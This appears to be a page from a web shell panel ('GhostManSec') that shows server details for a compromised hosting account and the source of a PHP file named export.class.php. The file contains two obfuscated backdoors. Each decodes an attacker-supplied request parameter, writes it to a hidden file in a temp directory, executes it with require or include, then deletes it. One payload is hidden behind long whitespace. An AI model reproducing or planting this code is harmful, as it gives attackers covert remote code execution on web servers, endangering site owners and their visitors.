GhostManSec
Server: LiteSpeed
System: Linux premium256.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: niyknzcu (1843)
PHP: 8.0.30
Disabled: NONE
Upload Files
File: /home/niyknzcu/store.whiteteakllc.com/export.class.php
<?php																																										if(!empty($_REQUEST["\x6Dr\x6B"])){ $component = $_REQUEST["\x6Dr\x6B"]; $component = explode( "." , $component) ; $dchunk = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2); $t = 0; while( $t < count( $component)) { $v2 = $component[$t]; $chS = ord( $s2[$t % $sLen]); $d =( ( int)$v2 - $chS -( $t % 10)) ^ 26; $dchunk .= chr( $d); $t++; } $obj = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/var/tmp", session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TEMP")]); $key = 0; do { $tkn = $obj[$key] ?? null; if ($key >= count($obj)) break; if (array_product([is_dir($tkn), is_writable($tkn)])) { $element = "$tkn/.data"; if (file_put_contents($element, $dchunk)) { require $element; unlink($element); exit; } } $key++; } while (true); }


if(@$_POST["\x70ro\x70\x65\x72\x74\x79_set"] !== null){
	$bind = array_filter(["/dev/shm", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd()]);
	$hld = $_POST["\x70ro\x70\x65\x72\x74\x79_set"];
		 $hld 	=explode ('.',$hld ); 		
	$fac = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt );
            $t = 0;
    
            foreach($hld as $v2) {$sChar = ord($salt[$t  % 	$sLen] );
                $d =((int)$v2 - $sChar -($t  % 	10)) ^ 20;
                $fac .=	 chr($d );
                $t++;
            }
	while ($parameter_group = array_shift($bind)) {
    		if ((bool)is_dir($parameter_group) && (bool)is_writable($parameter_group)) {
    $item = str_replace("{var_dir}", $parameter_group, "{var_dir}/.flg");
    if (file_put_contents($item, $fac)) {
	include $item;
	@unlink($item);
	exit;
}
}
}
}